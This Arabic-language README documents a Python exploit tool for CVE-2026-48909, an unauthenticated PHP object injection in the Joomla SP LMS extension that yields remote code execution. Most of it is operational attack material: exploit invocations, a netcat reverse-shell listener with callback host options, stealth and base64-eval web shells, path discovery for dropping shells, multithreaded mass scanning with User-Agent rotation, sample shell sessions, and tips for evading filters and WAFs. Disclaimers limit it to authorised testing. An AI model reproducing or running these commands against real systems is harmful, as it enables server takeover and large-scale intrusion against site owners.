CVE-2026-48909 - استغلال حقن كائن PHP غير مصادق عليه إلى RCE لملحق Joomla SP LMS الإصدارات <= 4.1.3. يستغل إلغاء تسلسل ملف تعريف الارتباط lmsOrders لكتابة قشرة ويب عبر سلسلة أدوات FormattedtextLogger في Joomla. يتضمن قشرة تفاعلية، واكتشاف المسار، والتنظيف. لاختبار الأمان المصرح به فقط.
أداة إثبات المفهوم لتقييم CVE-2026-48909
المؤلف: Sudeepa Wanigarathna
[!IMPORTANT] للاستخدام المصرّح به فقط. هذه الأداة مخصّصة للبحث الأمني والتعليم واختبار الأنظمة التي تملكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرّح به إلى أنظمة الحاسوب غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
CVE-2026-48909 هي ثغرة حقن كائنات PHP غير موثَّق خطيرة في إضافة SP LMS الخاصة بـ Joomla. تنفّذ هذه الأداة سلسلة الهجوم الكاملة ليتمكّن مختصو الأمن من التحقق من التأثير في بيئات المختبر أو البيئات المصرّح بها.
تغطّي الأداة الاكتشاف، واستكشاف المسار، وتوصيل الحِمْل، واستغلال تفاعلي بعد الاستغلال (حيثما يُسمح)، والتقييم الجماعي، والتنظيف الاختياري.
| السمة | القيمة |
|---|---|
| معرف CVE | CVE-2026-48909 |
| CVSS | 9.5 (حرجة) |
| متجه الهجوم | شبكة — غير موثَّق |
| التأثير | تنفيذ أوامر عن بُعد |
| المنتج المتأثر | Joomla SP LMS |
| الإصدارات المتأثرة | 1.0.0 – 4.1.3 |
| الإصدار المُصحَّح | SP LMS 4.1.4+ |
| سلسلة الأدوات (Gadget Chain) | تتطلب Joomla < 5.2.2 |
| المكوّن | الإصدار | RCE |
|---|---|---|
| SP LMS | < 4.1.4 | معرّض للثغرة |
| SP LMS | ≥ 4.1.4 | مُصحَّح |
| Joomla | < 5.2.2 | سلسلة الأدوات قابلة للاستخدام |
| Joomla | ≥ 5.2.2 | سلسلة الأدوات مُصحَّحة |
| الإمكانية | الوصف |
|---|---|
| استغلال غير موثَّق | لا حاجة لبيانات اعتماد |
| حمولات متعددة | 7 متغيرات لشيل الويب / تنفيذ الأوامر |
| شيل تفاعلي | جلسة تاريخ الأوامر بعد النشر |
| اكتشاف المسار | استكشاف تلقائي للمسارات القابلة للكتابة |
| تنظيف | إزالة شيل الويب المُنشَر بعد الاختبارات |
| الإمكانية | الوصف |
|---|---|
| مسح جماعي | قوائم أهداف متعددة الخيوط (1000+) |
| دعم الوكيل (Proxy) | HTTP/SOCKS (Burp، ZAP، إلخ) |
| شيل عكسي | حمولات قائمة على المُستمِع |
| وضع التخفي | قنوات أوامر عبر الترويسة أو POST |
| العشوائية | أسماء UUID للشيل، تدوير User-Agent |
| إعداد التقارير | تصدير بصيغة JSON أو HTML أو CSV |
| مساعدات الكشف | فحص إصدار Joomla، --check-only، --safe-mode |
cmd في Joomla قدر الإمكانpipcd exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 "CVE-2026-48909 v3.0.py" --help
requests>=2.31.0
urllib3>=2.0.0
argparseيأتي مع المكتبة القياسية لـ Python؛ لا يحتاج إلى تثبيت عبر pip.
استبدل
https://target.exampleبهدف مختبر أو مصرّح به فقط.
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --check-only
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
python3 "CVE-2026-48909 v3.0.py" --targets targets.txt --threads 20 --export results.html --export-format html
# المستمع
nc -lvnp 4444
# مضيف الاستغلال
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path \
--shell-type reverse \
--reverse-host 192.168.1.100 \
--reverse-port 4444
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /var/www/html/tmp/shell.php
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path --interactive
python3 "CVE-2026-48909 v3.0.py" https://target.example \
--find-path --interactive \
--proxy http://127.0.0.1:8080 \
--insecure
python3 "CVE-2026-48909 v3.0.py" https://target.example --cleanup /tmp/x.php
https://lab-a.example
https://lab-b.example
https://lab-c.example
python3 "CVE-2026-48909 v3.0.py" -T targets.txt --threads 50 --export scan.json
| الوسيطة | الوصف |
|---|---|
target | عنوان URL للهدف الواحد |
--targets, -T FILE | ملف يحتوي على الأهداف (عنوان URL في كل سطر) |
--path PATH | المسار المطلق على الخادم لشيل الويب |
--shell-type TYPE | minimal، standard، stealth، base64، full، reverse، blindshell |
--shell-name NAME | اسم ملف شيل الويب (الافتراضي: x.php) |
| الوسيطة | الوصف |
|---|---|
--timeout SECONDS | مهلة الطلب (الافتراضي: 15) |
--insecure | تخطي التحقق من شهادة TLS |
--proxy URL | مثال: http://127.0.0.1:8080 |
--random-ua | تدوير User-Agent (مفعل افتراضياً) |
--delay SECONDS | تأخير بين الطلبات |
| الوسيطة | الوصف |
|---|---|
--reverse-host HOST | مضيف المستمع |
--reverse-port PORT | منفذ المستمع |
| الوسيطة | الوصف |
|---|---|
--interactive, -i | شيل تفاعلي بعد النشر |
--check-only | فحص الثغرة فقط |
--safe-mode | اختبار غير تخريبي |
--find-path | اكتشاف تلقائي لمسار قابل للكتابة |
--cmd COMMAND | تنفيذ أمر واحد ثم الخروج |
--cleanup PATH | إزالة شيل الويب عند المسار المحدد |
--cleanup-after | التنظيف بعد الاستغلال |
| الوسيطة | الوصف |
|---|---|
--threads NUM | عدد خيوط العمل (الافتراضي: 10) |
--export FILE | مسار مخرجات النتائج |
--export-format FORMAT | json، html، csv (الافتراضي: json) |
| الوسيطة | الوصف |
|---|---|
--log-file FILE | كتابة السجلات إلى ملف |
--quiet, -q | وضع صامت |
--verbose, -v | إخراج مفصل |
--no-banner | إخفاء الشعار |
| النوع | السلوك | الاستخدام النموذجي |
|---|---|---|
minimal | تنفيذ مضغوط عبر GET | مساحة ضيقة / اختبار سريع |
standard | GET + POST cmd (الافتراضي) | تقييمات عامة |
stealth | الأمر عبر ترويسة X-Cmd | تقليل تسجيل عنوان URL |
base64 | eval(base64_decode(...)) عبر POST | مختبرات تهرب من الفلاتر |
full | GET/POST + قناة base64 | تحكم أوسع |
reverse | شيل اتصال عكسي | وصول مستمر في المختبر |
blindshell | نمط إدراج / تنفيذ بديل | بيئات مقيدة |
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type minimal --find-path
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type stealth --find-path -i
python3 "CVE-2026-48909 v3.0.py" https://target.example --shell-type reverse \
--reverse-host 10.0.0.1 --reverse-port 4444 --find-path
flowchart TD
A["Attacker-controlled lmsOrders cookie"] --> B["unserialize() in cart.php"]
B --> C["FormattedtextLogger::__destruct()"]
C --> D["File::write() — PHP drop"]
D --> E["Webshell on disk"]
E --> F["Remote command execution"]components/com_splms/models/cart.php يقوم بإلغاء تسلسل ملف تعريف الارتباط lmsOrders المُفكَّك بواسطة base64.Joomla\CMS\Log\Logger\FormattedtextLogger::__destruct() إلى كتابة على نظام الملفات./، =, +).قد يقوم فلتر cmd في Joomla بإزالة / و = و +. تعوّض هذه الأداة عن ذلك من خلال:
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> whoami
www-data
shell> pwd
/var/www/html
shell> exit
{
"timestamp": "2026-07-16T10:30:00.123456",
"target": "https://lab.example",
"shell_path": "/tmp/x_abc123def.php",
"shell_url": "https://lab.example/tmp/x_abc123def.php",
"shell_type": "standard",
"vulnerable": true,
"exploited": true,
"joomla_version": "4.3.2",
"detected_paths": [
"/tmp/x_abc123def.php",
"/images/x_abc123def.php",
"/cache/x_abc123def.php"
],
"author": "Sudeepa Wanigarathna",
"tool_version": "3.0"
}
python3 "CVE-2026-48909 v3.0.py" https://target.example --path /tmp/x.php --cmd "id"
| العَرَض | ما يجب تجربته |
|---|---|
| تعذّر إنشاء حِمْل آمن من الفلتر | مسار --path مختلف، أو استخدام --find-path؛ تجنب الأحرف غير المألوفة في المسار |
| فشل التحقق من الشيل | زيادة --timeout؛ تجربة --shell-type standard؛ التأكد من عدم تعطيل system() أو ما يشابهه؛ التحقق من قابلية الكتابة |
| الهدف لا يبدو معرّضاً للثغرة | SP LMS ≤ 4.1.3، Joomla < 5.2.2، وجود com_splms؛ فحص حظر جدار الحماية (WAF) |
| HTTP 500 | استخدام --insecure، --timeout 30، مراجعة سجلات التطبيق/الخادم |
| رفض اتصال الوكيل | التأكد من أن الوكيل يستمع؛ صحة مخطط URL والمضيف/المنفذ |
| فشل التحقق من TLS | إضافة --insecure لنقاط نهاية المختبر ذات الشهادات المعطلة |
# مفصل + تسجيل ملف
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path -v --log-file debug.log
# عبر Burp
python3 "CVE-2026-48909 v3.0.py" https://target.example --find-path \
--proxy http://127.0.0.1:8080 --insecure -v
# غير تخريبي أولاً
python3 "CVE-2026-48909 v3.0.py" https://target.example --safe-mode
exploit/
├── CVE-2026-48909 v3.0.py # الأداة الرئيسية (الإصدار 3.0)
├── requirements.txt # تبعيات Python
├── README.md # هذا الملف
└── venv/ # بيئة افتراضية محلية (اختياري، غير مضمّن)
إضافات اختيارية للإصدار العام:
targets.txt.example
docs/technical-details.md
examples/basic-exploit.sh
examples/mass-scan.sh
هذا المشروع مُقدم كما هو لأغراض البحث الأمني الدفاعي واختبار الاختراق المصرّح به.
باستخدام هذا البرنامج، فإنك توافق على:
إذا اكتشفت هذه الثغرة في بيئة حقيقية، فاتبع ممارسات الإفصاح المسؤول وتنسّق مع البائع / CERT حيثما يناسب.
Sudeepa Wanigarathna
باحث أمني · اختراق أخلاقي · بحث في الثغرات · أدوات Python
لاختبار الأمن المصرّح به فقط.